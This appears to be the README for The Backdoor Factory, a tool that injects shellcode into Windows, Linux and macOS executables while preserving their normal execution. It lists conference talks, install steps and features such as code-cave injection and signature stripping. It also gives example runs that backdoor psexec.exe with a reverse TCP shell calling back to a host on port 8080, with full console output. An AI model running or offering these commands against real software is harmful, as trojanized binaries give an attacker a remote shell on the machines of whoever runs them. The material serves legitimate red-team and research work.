secretsquirrel/the-backdoor-factoryPatch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors
For security professionals and researchers only.
The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Contact the developer on:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Under a BSD 3 Clause License
See the wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
###OLD SCHOOL
####Dependences #####To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.
Capstone engine can be installed from PyPi with:
sudo pip install capstone
Pefile, most recent:
https://code.google.com/p/pefile/
osslsigncode (included in repo):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Kali Install:
apt-get update
apt-get install backdoor-factory
Other *NIX/MAC INSTALL:
./install.sh
This will install Capstone with 3.01 pip to install pefile.
UPDATE:
./update.sh
Supporting:
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
and Mach-O x86/x64 and those formats in FAT files
Packed Files: PE UPX x86/x64
Experimental: OpenBSD x32
Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.
Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.
./backdoor.py -h Usage: backdoor.py [options]
##Features:
###PE Files
Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
-Jump (j), for code cave jumping
-Single (s), for patching all your shellcode into one cave
-Append (a), for creating a code cave
-Ignore (i or q), nevermind, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)
###ELF Files
Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.
###Mach-O Files Pre-Text Section patching and signature removal
###Overall
The user can :
-Provide custom shellcode.
-Patch a directory of executables/dlls.
-Select x32 or x64 binaries to patch only.
-Include BDF is other python projects see pebin.py and elfbin.py
###Patch an exe/dll using an existing code cave:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patch an exe/dll by adding a code section:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patch a directory of exes: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...